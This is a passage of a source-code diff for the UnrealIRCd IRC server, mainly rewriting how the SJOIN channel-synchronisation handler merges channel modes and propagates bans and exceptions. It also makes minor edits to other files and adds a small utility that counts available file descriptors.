MODE_CHANOWNER) + { + lp->flags &= ~MODE_CHANOWNER; + Addit('q', lp->value.cptr->name); + } + if (lp->flags & MODE_CHANPROT) + { + lp->flags &= ~MODE_CHANPROT; + Addit('a', lp->value.cptr->name); + } + if (lp->flags & MODE_CHANOP) + { + lp->flags &= ~MODE_CHANOP; + Addit('o', lp->value.cptr->name); + } + if (lp->flags & MODE_HALFOP) + { + lp->flags &= ~MODE_HALFOP; + Addit('h', lp->value.cptr->name); + } + if (lp->flags & MODE_VOICE) + { + lp->flags &= ~MODE_VOICE; + Addit('v', lp->value.cptr->name); + } + } + if (b > 1) + { + modebuf[b] = '\0'; + sendto_serv_butone_sjoin(cptr, + ":%s MODE %s %s %s %lu", + sptr->name, chptr->chname, + modebuf, parabuf, chptr->creationtime); + sendto_channel_butserv(chptr, + sptr, ":%s MODE %s %s %s", + sptr->name, chptr->chname, modebuf, parabuf); + + } + } + if (!merge && !removetheirs && !nomode) + { + strcpy(modebuf, parv[3]); + parabuf[0] = '\0'; + if (!nopara) + for (b = 4; b <= (parc - 2); b++) + { + strcat(parabuf, parv[b]); + strcat(parabuf, " "); + } + strcpy(paraback, parabuf); ap = mp2parv(modebuf, parabuf); set_mode(chptr, cptr, ap->parc, ap->parv, &pcount, pvar, 0); - sendto_serv_butone_sjoin(cptr, ":%s %s %s %s %s %lu", - me.name, MSG_MODE, chptr->chname, modebuf, parabuf, + sendto_serv_butone_sjoin(cptr, + ":%s MODE %s %s %s %lu", + sptr->name, chptr->chname, modebuf, paraback, chptr->creationtime); sendto_channel_butserv(chptr, sptr, ":%s MODE %s %s %s", - me.name, chptr->chname, modebuf, parabuf); + sptr->name, chptr->chname, modebuf, paraback); } - /* Now let's apply the modes as required */ - - if ((copy || merge) && xsend && !susp_ts) + if (merge && !nomode) { - *parabuf = '\0'; - *modebuf = '+'; - modebuf[1] = '\0'; + aCtab *acp; - if (parv[3]) - { - strcpy(modebuf, parv[3]); - xsend = 1; - } + bcopy(&chptr->mode, &oldmode, sizeof(oldmode)); + /* merge the modes */ + strcpy(modebuf, parv[3]); + parabuf[0] = '\0'; if (!nopara) - strcpy(parabuf, parv[4]); - else - parabuf[0] = '\0'; + for (b = 4; b <= (parc - 2); b++) + { + strcat(parabuf, parv[b]); + strcat(parabuf, " "); + } + strcpy(paraback, parabuf); + ap = mp2parv(modebuf, parabuf); + set_mode(chptr, cptr, ap->parc, ap->parv, &pcount, pvar, 0); - if (xsend) + /* Good, now we got modes, now for the differencing and outputting of modes + We first see if any para modes are set + + */ + strcpy(modebuf, "-"); + parabuf[0] = '\0'; + b = 1; + /* however, is this really going to happen at all? may be unneeded */ + if (oldmode.limit && !chptr->mode.limit) + { + Addit('l', (char *)my_itoa(oldmode.limit)); + } + if (oldmode.key[0] && !chptr->mode.key[0]) + { + Addit('k', oldmode.key); + } + if (oldmode.link[0] && !chptr->mode.link[0]) + { + Addit('L', oldmode.link); + } + if ((oldmode.msgs || oldmode.per || oldmode.kmode) + && ((chptr->mode.msgs == 0) && (chptr->mode.per == 0) + && (chptr->mode.kmode == 0))) + { + ircsprintf(modeback, "%s%i:%i", + (oldmode.kmode == 1 ? "*" : ""), + oldmode.msgs, oldmode.per); + Addit('f', modeback); + } + + for (acp = cFlagTab; acp->mode; acp++) + { + if ((oldmode.mode & acp->mode) && + !(chptr->mode.mode & acp->mode)) + { + Addsingle(acp->flag); + } + } + if (b > 1) + { + Addsingle('+'); + } + else + { + strcpy(modebuf, "+"); + b = 1; + } + for (acp = cFlagTab; acp->mode; acp++) + { + if (!(oldmode.mode & acp->mode) && + (chptr->mode.mode & acp->mode)) + { + Addsingle(acp->flag); + } + } + /* first we check if it has been set, we did unset longer up */ + if (!oldmode.limit && chptr->mode.limit) + { + Addit('l', (char *)my_itoa(chptr->mode.limit)); + } + if (!oldmode.key[0] && chptr->mode.key[0]) + { + Addit('k', chptr->mode.key); + } + if (!oldmode.link[0] && chptr->mode.link[0]) + { + Addit('L', chptr->mode.link); + } + if (!(oldmode.msgs || oldmode.per || oldmode.kmode) + && (chptr->mode.msgs || chptr->mode.per + || chptr->mode.kmode)) + { + ircsprintf(modeback, "%s%i:%i", + (chptr->mode.kmode == 1 ? "*" : ""), + chptr->mode.msgs, chptr->mode.per); + Addit('f', modeback); + + } + /* now, if we had diffent para modes - this loop really could be done better, but */ + + /* do we have an difference? */ + if (oldmode.limit && chptr->mode.limit + && (oldmode.limit != chptr->mode.limit)) + { + chptr->mode.limit = + MAX(oldmode.limit, chptr->mode.limit); + if (oldmode.limit != chptr->mode.limit) + { + Addit('l', (char *)my_itoa(chptr->mode.limit)); + } + } + /* sketch, longest key wins */ + if (oldmode.key[0] && chptr->mode.key[0] + && strcmp(oldmode.key, chptr->mode.key)) + { + x = strlen(oldmode.key); + y = strlen(chptr->mode.key); + z = MAX(x, y); + if (z == x) + { + strcpy(chptr->mode.key, oldmode.key); + } + else + { + Addit('k', chptr->mode.key); + } + } + /* same as above .. */ + if (oldmode.link[0] && chptr->mode.link[0] + && strcmp(oldmode.link, chptr->mode.link)) + { + x = strlen(oldmode.link); + y = strlen(chptr->mode.link); + z = MAX(x, y); + if (z == x) + { + strcpy(chptr->mode.link, oldmode.link); + } + else + { + Addit('L', chptr->mode.link); + } + } + /* + * run a max on each? + */ + if ((oldmode.kmode != chptr->mode.kmode) + || (oldmode.msgs != chptr->mode.msgs) + || (oldmode.per != chptr->mode.per)) + { + chptr->mode.kmode = + MAX(chptr->mode.kmode, oldmode.kmode); + chptr->mode.msgs = MAX(chptr->mode.msgs, oldmode.msgs); + chptr->mode.per = MAX(chptr->mode.per, oldmode.per); + if ((oldmode.kmode != chptr->mode.kmode) + || (oldmode.msgs != chptr->mode.msgs) + || (oldmode.per != chptr->mode.per)) + { + ircsprintf(modeback, "%s%i:%i", + (chptr->mode.kmode == 1 ? "*" : ""), + chptr->mode.msgs, chptr->mode.per); + Addit('f', modeback); + } + } + + Addsingle('\0'); + + if (modebuf[1]) { sendto_serv_butone_sjoin(cptr, - ":%s %s %s %s %s %lu", me.name, MSG_MODE, - chptr->chname, modebuf, parabuf, + ":%s MODE %s %s %s %lu", + sptr->name, chptr->chname, modebuf, parabuf, chptr->creationtime); - sendto_channel_butserv(chptr, sptr, - ":%s MODE %s %s %s", me.name, chptr->chname, - modebuf, parabuf); - ap = mp2parv(modebuf, parabuf); - set_mode(chptr, cptr, ap->parc, ap->parv, - &pcount, pvar, 0); + sendto_channel_butserv(chptr, sptr, ":%s MODE %s %s %s", + sptr->name, chptr->chname, modebuf, parabuf); } } - xsend = 0; - - /* First we better wipe our chanop list if our TS is older than SJOIN TS */ - - if (wipem && !susp_ts) - { - members = chptr->members; - for (lp2 = members; lp2; lp2 = lp2->next) - { - - if ((lp2->flags & MODE_CHANOP)) - { - lp2->flags &= ~MODE_CHANOP; - acptr = lp2->value.cptr; - - sendto_channel_butserv(chptr, cptr, - ":%s MODE %s -o %s", me.name, - chptr->chname, lp2->value.cptr->name); - sendto_serv_butone_sjoin(cptr, - ":%s MODE %s -o %s %lu", me.name, - chptr->chname, acptr->name, - chptr->creationtime); - } - if ((lp2->flags & MODE_VOICE)) - { - lp2->flags &= ~MODE_VOICE; - - acptr = lp2->value.cptr; - - sendto_channel_butserv(chptr, cptr, - ":%s MODE %s -v %s", me.name, - chptr->chname, acptr->name); - sendto_serv_butone_sjoin(cptr, - ":%s MODE %s -v %s %lu", me.name, - chptr->chname, acptr->name, - chptr->creationtime); - } - if ((lp2->flags & MODE_HALFOP)) - { - lp2->flags &= ~MODE_HALFOP; - - acptr = lp2->value.cptr; - - sendto_channel_butserv(chptr, cptr, - ":%s MODE %s -h %s", me.name, - chptr->chname, acptr->name); - sendto_serv_butone_sjoin(cptr, - ":%s MODE %s -h %s %lu", me.name, - chptr->chname, acptr->name, - chptr->creationtime); - } - if ((lp2->flags & MODE_CHANOWNER)) - { - lp2->flags &= ~MODE_CHANOWNER; - - acptr = lp2->value.cptr; - - sendto_channel_butserv(chptr, cptr, - ":%s MODE %s -q %s", me.name, - chptr->chname, acptr->name); - sendto_serv_butone_sjoin(cptr, - ":%s MODE %s -q %s %lu", me.name, - chptr->chname, acptr->name, - chptr->creationtime); - } - if ((lp2->flags & MODE_CHANPROT)) - { - lp2->flags &= ~MODE_CHANPROT; - - acptr = lp2->value.cptr; - - sendto_channel_butserv(chptr, cptr, - ":%s MODE %s -a %s", me.name, - chptr->chname, acptr->name); - sendto_serv_butone_sjoin(cptr, - ":%s MODE %s -a %s %lu", me.name, - chptr->chname, acptr->name, - chptr->creationtime); - } - } - } - /* Ok - it should now all be wiped so lets see what they have to offer us */ - /* t points to parv[5], nick list - * f is 1 to begin with. - * c is 0 to begin with. - * bp points to buf. - */ - + /* Mode setting done :), now for our beloved clients */ + parabuf[0] = 0; + modebuf[0] = '+'; + t = parv[parc - 1]; + *(--t) = ' '; /* set to leading space */ + b = 1; + strcpy(modebuf, "+"); while (*t != '\0') { if (*t == ' ') { - if (f) - strncpyzt(bp, (t - c), (c + 1)); /* Put the nick in bp */ - else - strncpyzt(bp, (t - (c - 1)), c); /* Put the nick in bp */ - - i = 0; - ns = 0; - for (p = bp; *p; p++) + t++; + modeflags = 0; + while ( + (*t == '@') || (*t == '+') || (*t == '%') + || (*t == '*') || (*t == '~') || (*t == '&') + || (*t == '"')) { - if (*p == '@') + switch (*(t++)) { - ns |= FL_CHANOP; - i++; + case '@': + modeflags |= CHFL_CHANOP; + break; + case '%': + modeflags |= CHFL_HALFOP; + break; + case '+': + modeflags |= CHFL_VOICE; + break; + case '*': + modeflags |= CHFL_CHANOWNER; + break; + case '~': + modeflags |= CHFL_CHANPROT; + break; + case '&': + modeflags |= CHFL_BAN; + goto getnick; + break; + case '"': + modeflags |= CHFL_EXCEPT; + goto getnick; + break; } - else if (*p == '+') - { - ns |= FL_VOICE; - i++; - } - else if (*p == '%') - { - ns |= FL_HALFOP; - i++; - } - else if (*p == '*') - { - ns |= FL_FOUNDER; - i++; - } - else if (*p == '~') - { - ns |= FL_PROT; - i++; - } - else - break; } - if (i != 0) - strncpyzt(nick, bp + i, c); - else - strncpyzt(nick, bp, (c + 1)); - if (!(acptr = find_client(nick, NULL))) + getnick: + i = 0; + while ((*t != ' ') && (*t != '\0')) + nick[i++] = *(t++); /* get nick */ + nick[i] = '\0'; + if (nick[0] == ' ') + continue; + if (nick[0] == '\0') + continue; + if (!(modeflags & CHFL_BAN) + && !(modeflags & CHFL_EXCEPT)) { - /* The client doesn't exist, probably Killed off for some reason, this is - * ok, we will just ignore it - */ - /* horrible, horrible thing to do, but this while loop needs rewriting anyhow */ - sendto_realops - ("Missing user %s in SJOIN at %s !", - nick, chptr->chname); - goto bad_nick_jump; + if (!(acptr = find_person(nick, NULL))) + { + sendto_realops + ("Missing user %s in SJOIN for %s from %s (%s)", + nick, chptr->chname, sptr->name, + backupbuf); + continue; + } + if (acptr->from != sptr) + { + /* The client is not from the server, send a kick for it */ + sendto_one(sptr, + ":%s KICK %s %s :Fake direction", + me.name, acptr->name); + sendto_ops + ("Fake direction from user %s in SJOIN from %s at %s", + acptr->from, sptr->name, + chptr->chname); + continue; + } - } - /* ok, now, is this an evil nick (ie, one on our side), or a good one, - * ie, one on the other side? - */ - /* sptr = server who is sending the SJOIN */ - tempptr = acptr; - - while (tempptr != &me && tempptr != sptr) - tempptr = tempptr->srvptr; - - if (tempptr == &me) - { - /* this nick is an evil nick, since its on my - * side... ignore this nick. - */ - /* horrible, horrible thing to do, but this while loop needs rewriting anyhow */ - goto bad_nick_jump; - } - fl = 0; - if (ns & FL_CHANOP) - fl |= CHFL_CHANOP; - if (ns & FL_VOICE) - fl |= CHFL_VOICE; - if (ns & FL_HALFOP) - fl |= CHFL_HALFOP; - if (ns & FL_FOUNDER) - fl |= CHFL_CHANOWNER; - if (ns & FL_PROT) - fl |= CHFL_CHANPROT; - if (!IsMember(acptr, chptr)) - { - /* Its not really possible for the user to be a member of this - * channel already, unless something is broken, but its not - * too bad checking for this, just in case - */ - if (!deop) - add_user_to_channel(chptr, acptr, fl); - else - add_user_to_channel(chptr, acptr, 0); + if (removetheirs) + { + modeflags = 0; + } + add_user_to_channel(chptr, acptr, modeflags); if (!IsHiding(acptr)) - sendto_channel_butserv(chptr, - acptr, ":%s JOIN :%s", nick, - parv[2]); - sendto_serv_butone_sjoin(cptr, - ":%s JOIN :%s", nick, parv[2]); - } - - lp = find_user_link(chptr->members, acptr); - - if (!lp) - sendto_ops - ("WARNING! possible desynch from %s in %s", + sendto_channel_butserv(chptr, acptr, + ":%s JOIN :%s", nick, + chptr->chname); + sendto_serv_butone_sjoin(cptr, ":%s JOIN :%s", nick, chptr->chname); - synchptr = make_synchlist(); - - strncpyzt(synchptr->nick, nick, sizeof(synchptr->nick)); - - if (ns & FL_VOICE) - synchptr->voice = 1; - if (ns & FL_HALFOP) - synchptr->half = 1; - if (ns & FL_CHANOP) - synchptr->op = 1; - if (ns & FL_PROT) - synchptr->prot = 1; - if (ns & FL_FOUNDER) - synchptr->own = 1; - - if (SJSynchList == NULL) - SJSynchList = synchptr; + CheckStatus('q', CHFL_CHANOWNER); + CheckStatus('a', CHFL_CHANPROT); + CheckStatus('o', CHFL_CHANOP); + CheckStatus('h', CHFL_HALFOP); + CheckStatus('v', CHFL_VOICE); + } else { - SJSynchList->prev = synchptr; - synchptr->next = SJSynchList; - SJSynchList = synchptr; + if (removetheirs) + continue; + if (modeflags & CHFL_BAN) + { + add_banid(sptr, chptr, nick); + Addit('b', nick); + sendto_serv_butone_token_opt(cptr, OPT_SJOIN2|OPT_NOT_SJ3, + sptr->name, MSG_MODE, TOK_MODE, "%s +b %s %li", chptr->chname, + nick, TStime()); + } + if (modeflags & CHFL_EXCEPT) + { + add_exbanid(sptr, chptr, nick); + Addit('e', nick); + sendto_serv_butone_token_opt(cptr, OPT_SJOIN2|OPT_NOT_SJ3, + sptr->name, MSG_MODE, TOK_MODE, "%s +e %s %li", chptr->chname, + nick, TStime()); + } } - bad_nick_jump: - tc++; - c = f = fl = 0; } - t++; - c++; } - - /* Ok, we parsed the nicks, we made them join. Time to set their modes -GZ */ - - xsend = 0; - - if (!susp_ts) + if (modebuf[1]) { - if (SJSynchList == NULL) - goto EndMode; - - modebuf[1] = '\0'; - parabuf[0] = '\0'; - modebuf[0] = !deop ? '+' : '-'; - - xsend = 0; - - for (synchptr2 = SJSynchList; synchptr2; synchptr2 = synchptr3) - { - - synchptr3 = synchptr2->next; - - if ((synchptr2->op)) - { - strcat(modebuf, "o"); - strcat(parabuf, synchptr2->nick); - strcat(parabuf, " "); - xsend++; - - if (xsend == RESYNCMODES) - { - strcat(modebuf, "\0"); - strcat(parabuf, "\0"); - - if (!deop) - { - sendto_channel_butserv - (chptr, cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf); - sendto_serv_butone_sjoin - (cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf, - chptr->creationtime); - } - modebuf[1] = '\0'; - parabuf[0] = '\0'; - modebuf[0] = !deop ? '+' : '-'; - xsend = 0; - } - } - } - - if (SJSynchList == NULL) - goto EndMode; - - for (synchptr2 = SJSynchList; synchptr2; synchptr2 = synchptr3) - { - - synchptr3 = synchptr2->next; - - if ((synchptr2->voice)) - { - strcat(modebuf, "v"); - strcat(parabuf, synchptr2->nick); - strcat(parabuf, " "); - xsend++; - - if (xsend == RESYNCMODES) - { - strcat(modebuf, "\0"); - strcat(parabuf, "\0"); - - if (!deop) - { - sendto_channel_butserv - (chptr, cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf); - sendto_serv_butone_sjoin - (cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf, - chptr->creationtime); - } - modebuf[1] = '\0'; - parabuf[0] = '\0'; - modebuf[0] = !deop ? '+' : '-'; - - xsend = 0; - } - } - } - - if (SJSynchList == NULL) - goto EndMode; - - for (synchptr2 = SJSynchList; synchptr2; synchptr2 = synchptr3) - { - - synchptr3 = synchptr2->next; - - if ((synchptr2->half)) - { - strcat(modebuf, "h"); - strcat(parabuf, synchptr2->nick); - strcat(parabuf, " "); - xsend++; - - if (xsend == RESYNCMODES) - { - strcat(modebuf, "\0"); - strcat(parabuf, "\0"); - if (!deop) - { - sendto_channel_butserv - (chptr, cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf); - sendto_serv_butone_sjoin - (cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf, - chptr->creationtime); - } - - modebuf[1] = '\0'; - parabuf[0] = '\0'; - modebuf[0] = !deop ? '+' : '-'; - - xsend = 0; - } - } - } - - if (SJSynchList == NULL) - goto EndMode; - - - for (synchptr2 = SJSynchList; synchptr2; synchptr2 = synchptr3) - { - - synchptr3 = synchptr2->next; - - if ((synchptr2->own)) - { - strcat(modebuf, "q"); - strcat(parabuf, synchptr2->nick); - strcat(parabuf, " "); - xsend++; - - if (xsend == RESYNCMODES) - { - strcat(modebuf, "\0"); - strcat(parabuf, "\0"); - if (!deop) - { - sendto_channel_butserv - (chptr, cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf); - sendto_serv_butone_sjoin - (cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf, - chptr->creationtime); - } - - modebuf[1] = '\0'; - parabuf[0] = '\0'; - modebuf[0] = !deop ? '+' : '-'; - - xsend = 0; - } - } - } - - if (SJSynchList == NULL) - goto EndMode; - - for (synchptr2 = SJSynchList; synchptr2; synchptr2 = synchptr3) - { - - synchptr3 = synchptr2->next; - - if ((synchptr2->prot)) - { - strcat(modebuf, "a"); - strcat(parabuf, synchptr2->nick); - strcat(parabuf, " "); - xsend++; - - if (xsend == RESYNCMODES) - { - strcat(modebuf, "\0"); - strcat(parabuf, "\0"); - if (!deop) - { - sendto_channel_butserv - (chptr, cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf); - sendto_serv_butone_sjoin - (cptr, - ":%s MODE %s %s %s", - cptr->name, - chptr->chname, - modebuf, parabuf, - chptr->creationtime); - } - modebuf[1] = '\0'; - parabuf[0] = '\0'; - modebuf[0] = '+'; - - xsend = 0; - } - } - } - - if (SJSynchList == NULL) - goto EndMode; - - } - /* Ok! all done, time to clean up the mess */ - - for (synchptr2 = SJSynchList; synchptr2; synchptr2 = synchptr3) - { - - synchptr3 = synchptr2->next; - - if (synchptr2->prev) - synchptr2->prev->next = synchptr2->next; - else - SJSynchList = synchptr2->next; - if (synchptr2->next) - synchptr2->next->prev = synchptr2->prev; - free_synchlist(synchptr2); - - } - - EndMode: - if (xsend && !deop) - { - sendto_channel_butserv(chptr, cptr, ":%s MODE %s %s %s", - cptr->name, chptr->chname, modebuf, parabuf); - sendto_serv_butone_sjoin(cptr, ":%s MODE %s %s %s", - cptr->name, chptr->chname, modebuf, parabuf, + sendto_serv_butone_sjoin(cptr, + ":%s MODE %s %s %s %lu", + sptr->name, chptr->chname, modebuf, parabuf, chptr->creationtime); + sendto_channel_butserv(chptr, sptr, ":%s MODE %s %s %s", + sptr->name, chptr->chname, modebuf, parabuf); } - - /* After all is done, synch timestamps as channels should now be identical */ - - if (!(ts > chptr->creationtime) && !susp_ts) - { - chptr->creationtime = ts; - } - else if (chptr->creationtime == 0 && ts > 0) - { - chptr->creationtime = ts; - } - /* And we are desynched! - kidding! - *whew!* */ + /* we should be synched by now, */ if (oldts != -1) if (oldts != chptr->creationtime) - sendto_channel_butserv(chptr, &me, - ":%s NOTICE %s :*** Notice -- TS for %s changed from %ld to %ld", - me.name, chptr->chname, chptr->chname, - oldts, chptr->creationtime); + sendto_channel_butserv(chptr, &me, + ":%s NOTICE %s :*** Notice -- TS for %s changed from %ld to %ld", + me.name, chptr->chname, chptr->chname, + oldts, chptr->creationtime); + + + strcpy(parabuf, ""); + for (i = 1; i <= (parc - 2); i++) + { + strcat(parabuf, parv[i]); + if (((i + 1) <= (parc - 2))) + strcat(parabuf, " "); + } - sendto_serv_sjoin(cptr, ":%s SJOIN %s %s %s %s :%s", parv[0], - parv[1], parv[2], parv[3], parv[4], parv[5]); - - return 0; + /* This sends out to SJ3 servers .. */ + sendto_serv_butone_token_opt(cptr, OPT_SJOIN|OPT_SJ3, sptr->name, + MSG_SJOIN, TOK_SJOIN, "%s :%s", parabuf, parv[parc - 1]); + + /* We strip out & and " here, for SJ2 */ + strcpy(parabuf, ""); + t = parv[parc - 1]; + ap = mp2parv("*", t); + for (i = 1; i < ap->parc; i++) + { + if (*ap->parv[i] == '&') + continue; + if (*ap->parv[i] == '"') + continue; + + strcat(parabuf, ap->parv[i]); + if (!((i + 1) == ap->parc)) + strcat(parabuf, " "); + } + + if (nomode) + { + sendto_serv_butone_token_opt(cptr, OPT_SJOIN|OPT_SJOIN2|OPT_NOT_SJ3, + sptr->name, + MSG_SJOIN, TOK_SJOIN, "%s %s + <-> :%s", parv[1], + parv[2], parabuf); + return 0; + } + if (nopara) + { + sendto_serv_butone_token_opt(cptr, OPT_SJOIN|OPT_SJOIN2|OPT_NOT_SJ3, + sptr->name, + MSG_SJOIN, TOK_SJOIN, "%s %s %s <-> :%s", parv[1], + parv[2], parv[3], parabuf); + return 0; + + } + strcpy(paraback, ""); + ap = mp2parv("*", parv[4]); + for (i = 2; i < ap->parc; i++) + { + strcat(paraback, ap->parv[i]); + strcat(paraback, " "); + } + sendto_serv_butone_token_opt(cptr, OPT_SJOIN|OPT_SJOIN2|OPT_NOT_SJ3, + sptr->name, + MSG_SJOIN, TOK_SJOIN, "%s %s %s %s :%s", + parv[1], parv[2], parv[3], paraback, parabuf); + } + static int send_ban_list(cptr, chname, creationtime, channel) aClient *cptr; char *chname; @@ -5058,7 +5016,8 @@ void send_channel_modes_sjoin(cptr, chptr) channel_modes(cptr, modebuf, parabuf, chptr); if (*parabuf) - strcat(parabuf, " "); + { + } else { if (!SupportSJOIN2(cptr)) @@ -5113,7 +5072,6 @@ void send_channel_modes_sjoin(cptr, chptr) bufptr = buf + strlen(buf); } } - if (n) { *bufptr++ = '\0'; @@ -5135,3 +5093,154 @@ void send_channel_modes_sjoin(cptr, chptr) return; } + +/* + * This will send "cptr" a full list of the modes for channel chptr, + */ + + +void send_channel_modes_sjoin3(cptr, chptr) + aClient *cptr; + aChannel *chptr; +{ + Link *members; + Link *lp; + Ban *ban; + char *name; + char *bufptr; + short nomode, nopara; + char bbuf[1024]; + int n = 0; + + if (*chptr->chname != '#') + return; + + nomode = 0; + nopara = 1; + members = chptr->members; + + /* First we'll send channel, channel modes and members and status */ + + *modebuf = *parabuf = '\0'; + channel_modes(cptr, modebuf, parabuf, chptr); + + if (!modebuf[1]) + nomode = 1; + if (!(*parabuf)) + nopara = 1; + + + if (nomode) + { + ircsprintf(buf, "%s %ld %s :", + (IsToken(cptr) ? TOK_SJOIN : MSG_SJOIN), + chptr->creationtime, chptr->chname); + } + else + if (nopara) + { + ircsprintf(buf, "%s %ld %s %s :", + (IsToken(cptr) ? TOK_SJOIN : MSG_SJOIN), + chptr->creationtime, chptr->chname, modebuf); + + } + else + if (!nopara && !nomode) + { + ircsprintf(buf, "%s %ld %s %s %s :", + (IsToken(cptr) ? TOK_SJOIN : MSG_SJOIN), + chptr->creationtime, chptr->chname, modebuf, parabuf); + } + strcpy(bbuf, buf); + + bufptr = buf + strlen(buf); + + for (lp = members; lp; lp = lp->next) + { + + if (lp->flags & MODE_CHANOP) + *bufptr++ = '@'; + + if (lp->flags & MODE_VOICE) + *bufptr++ = '+'; + + if (lp->flags & MODE_HALFOP) + *bufptr++ = '%'; + if (lp->flags & MODE_CHANOWNER) + *bufptr++ = '*'; + if (lp->flags & MODE_CHANPROT) + *bufptr++ = '~'; + + + + name = lp->value.cptr->name; + + strcpy(bufptr, name); + bufptr += strlen(bufptr); + *bufptr++ = ' '; + n++; + + if (bufptr - buf > BUFSIZE - 80) + { + *bufptr++ = '\0'; + if (bufptr[-1] == ' ') + bufptr[-1] = '\0'; + sendto_one(cptr, "%s", buf); + + strcpy(buf, bbuf); + n = 0; + + bufptr = buf + strlen(buf); + } + } + for (ban = chptr->banlist; ban; ban = ban->next) + { + *bufptr++ = '&'; + strcpy(bufptr, ban->banstr); + bufptr += strlen(bufptr); + *bufptr++ = ' '; + n++; + if (bufptr - buf > BUFSIZE - 80) + { + *bufptr++ = '\0'; + if (bufptr[-1] == ' ') + bufptr[-1] = '\0'; + sendto_one(cptr, "%s", buf); + + strcpy(buf, bbuf); + n = 0; + + bufptr = buf + strlen(buf); + } + + } + for (ban = chptr->exlist; ban; ban = ban->next) + { + *bufptr++ = '"'; + strcpy(bufptr, ban->banstr); + bufptr += strlen(bufptr); + *bufptr++ = ' '; + n++; + if (bufptr - buf > BUFSIZE - 80) + { + *bufptr++ = '\0'; + if (bufptr[-1] == ' ') + bufptr[-1] = '\0'; + sendto_one(cptr, "%s", buf); + + strcpy(buf, bbuf); + n = 0; + + bufptr = buf + strlen(buf); + } + + } + + if (n) + { + *bufptr++ = '\0'; + if (bufptr[-1] == ' ') + bufptr[-1] = '\0'; + sendto_one(cptr, "%s", buf); + } +} diff --git a/src/chkconf.c b/src/chkconf.c index dc9a3e28e..4b7d41c42 100644 --- a/src/chkconf.c +++ b/src/chkconf.c @@ -38,11 +38,6 @@ ID_CVS("$Id$"); ID_Copyright("(C) 1993 Darren Reed"); ID_Notes("DF version was 1.9 1/30/94"); -#ifdef DYNIXPTX -#include -#include -#endif - /* for the connect rule patch.. these really should be in a header, ** but i see h.h isn't included for some reason.. so they're here */ char *crule_parse PROTO((char *rule)); diff --git a/src/class.c b/src/class.c index f76cb5e88..31b73d416 100644 --- a/src/class.c +++ b/src/class.c @@ -142,10 +142,9 @@ void add_class(class, ping, confreq, maxli, sendq) if (maxli > (MAXCONNECTIONS - 15)) { - Debug((DEBUG_DEBUG, "Not adding Class %d as maxli is > MAXCONNECTIONS - 15", - class)); - badclass = class; - return; + Debug((DEBUG_DEBUG, "Reducing class %d to %i", + class, (MAXCONNECTIONS - 15))); + maxli = MAXCONNECTIONS - 15; } t = find_class(class); if ((t == classes) && (class != 0)) diff --git a/src/cloak.c b/src/cloak.c index 246d5a09e..4ef02e8e9 100644 --- a/src/cloak.c +++ b/src/cloak.c @@ -31,6 +31,7 @@ static char sccxid[] = "@(#)cloak.c 9.00 7/12/99 UnrealIRCd"; #include "sys.h" #include "numeric.h" #include "msg.h" +#include "ircsprintf.h" #include "channel.h" #include "userload.h" #include diff --git a/src/dbuf.c b/src/dbuf.c index 7c0c0e83d..b6454a65b 100644 --- a/src/dbuf.c +++ b/src/dbuf.c @@ -313,7 +313,7 @@ int dbuf_getmsg(dyn, buf, length) while (length > 0 && dlen > 0) { dlen--; - if (*s == '\n' || *s == '\r') + if (*s == '\n' /* || *s == '\r' */) /*let stop at \n now .. */ { copy = dyn->length - dlen; /* diff --git a/src/dynconf.c b/src/dynconf.c index eea088a2f..d33fafc02 100644 --- a/src/dynconf.c +++ b/src/dynconf.c @@ -36,6 +36,7 @@ #endif #include #include "h.h" +#include "setup.h" ID_CVS("$Id$"); ID_Copyright("(C) 1999-2000 Carsten Munk"); diff --git a/src/fdmaxcounter.c b/src/fdmaxcounter.c new file mode 100644 index 000000000..f0f38b7b1 --- /dev/null +++ b/src/fdmaxcounter.c @@ -0,0 +1,39 @@ +/* + * Unreal Internet Relay Chat Daemon, src/fdmaxcounter.c + * Copyright (C) 2000 Carsten V. Munk + * + * See file AUTHORS in IRC package for additional names of + * the programmers. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 1, or (at your option) + * any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include +main() +{ + int i; + int s; + + for (i = 1; i <= 10000; i++) + { + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + { + printf("Max fds is %i\n", i + 2); + exit(-1); + } + } +} \ No newline at end of file diff --git a/src/help.c b/src/help.c index 92ba8d8ec..ed34edd90 100644 --- a/src/help.c +++ b/src/help.c @@ -96,42 +96,7 @@ int parse_help(sptr, name, help) } else if (!myncmp(help, "ABOUT", 8)) { - HDR(" *** About UnrealIRCd ***"); - SND("I started making UnrealIRCd about 3-4 months ago."); - SND("First it was called mpx2.0b13.soundforge - as I was"); - SND("inspired of the 'forge' word. I quickly changed name"); - SND("after I realized the IRCd had more potential for other"); - SND("IRC nets. Unreal is based off df4.6.5 and some of"); - SND("First lemme"); - SND("introduce myself. My nick is Techie/Stskeeps. I hang"); - SND("out at Global-IRC.net, DALnet, DragonWings.org and so on"); - SND("--"); - SND - ("Unreal is a hybrid of Dreamforge (as I said) mixed with some"); - SND - ("Twilight IRCd, TerraIRCd, TS4 (channel mode +h & +e) features"); - SND - ("(IMHO TwilightIRCd is one of the best dreamforge hybrids I've seen!)"); - SND - ("Unreal is not a rip-off of other IRCds - I added a lot of features myself!"); - SND - ("I really cannot mention some major features as I think a IRCd is a"); - SND - ("IRCd when it has got useful commands- and people actually say mine has!"); - SND("--"); - SND - ("Anyways I dunt demand donations or anything. I just do coding for fun"); - SND - ("I treat coding like playing with toys. It makes me happy(or is it just"); - SND - ("caffeine?;). An addy to send donations is at the Donation file in the IRCd dir"); - SND("I would be more happy if someone e-mailed 